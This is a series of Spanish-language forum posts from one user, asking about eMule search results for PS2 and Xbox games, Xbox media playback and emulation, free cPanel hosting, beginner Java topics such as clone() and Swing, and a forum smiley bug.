Me ha llamado la atención que pones PS2 spanish en el emule,con tamaño minimo 300, disponibilidad 20 y fuentes completas 1 y te muestra 55 y con Xbox spanish me salen 8. Me ha parecido raro, curioso y no sé por qué es, ¿alguien sabe por qué esta diferencia tan significativa?


Lo mismo esto va en software u otro, si alguien cree que va mejor allí que lo mueva, y si alguien allí quiere volver a traerlo a juegos que lo traiga otra vez, incluso podeis jugar al pin-pon. XD
#39
Bueno, en realidad todavía no tengo una, pero me lo estoy pensando.

Lo que quería saber es si hay alguna forma de jugar DVDs grabados y de ver películas en DivX, XviD, etc, (que ya imagino que sí) y cuanto podría costar (hacer estas cosas, no la XBox).

Gracias.




Editado: se me olvidaba decir también si hay algún emulador y que ordenador necesitas para emular una XBox.

Gracias de nuevo.
#40
Desarrollo Web / ¿hosting gratis con CPanel?
17 Octubre 2004, 22:28 PM
He mirado en los temas pegados, pero los hostings que aparecen no tienen CPanel. He encontrado varios que lo tienen pero uno lo cerraron porque no tenían dinero para el servidor  (www.netrulon.com) y el otro necesita que participes en su foro para que te den algo de espacio (http://www.post4hosting.com).

¿alguien conoce otro?

Gracias.
#41
Java / dudas novato en java.
22 Julio 2004, 03:53 AM
Estoy leyéndome el libro de "aprenda java como si estuviera en primero" y me han surgido varias dudas.


  • Se dice que el método clone() que tienen todos los objetos no debería llamar a new ni a constructores ¿por qué?.

  • ¿Cuando se hace una asignación con el operador "=" se llama al método clone() o son dos cosas distintas?

  • He llegado a un tema en el que se explica el AWT, pero también mencionaba otro modelo de componentes llamado swing, he estado buscando información acerca de este segundo y parece bastante mejor y más interesante, la única pega que le ponían era que no es threadsafe. ¿Se puede hacer que sea threadsafe de alguna manera? ¿es muy importante? ¿cual de los dos debería aprender?

  • He leido que se pueden hacer tipos como los enumerados de C++ con interfaces en java. Pero no había ningún ejemplo.¿Cómo sería?, ¿es esta la mejor forma de hacer enumerados en java o hay alguna mejor y más parecida a C++?

  • A menudo se hace referencia a la documentación online de java, ¿hay algún sitio oficial estilo MSDN donde encontrar toda la información o se refiere a buscar por internet?

Muchas gracias.
#42
Hay_­un_­problema,_­actualmente_­el_­símbolo_­del_­espacio_­queda_­reemplazado_­por_­el_­icono_­de_­cool,_­no_­sé_­si_­será_­una_­cosa_­de_­unos_­minutos_­porque_­además_­creo_­que_­no_­pasa_­desapercibido,_­el_­caso_­es_­que_­habría_­que_­poner_­otra_­combinación_­de_­caracteres_­para_­reemplazarlos_­por_­el_­icono.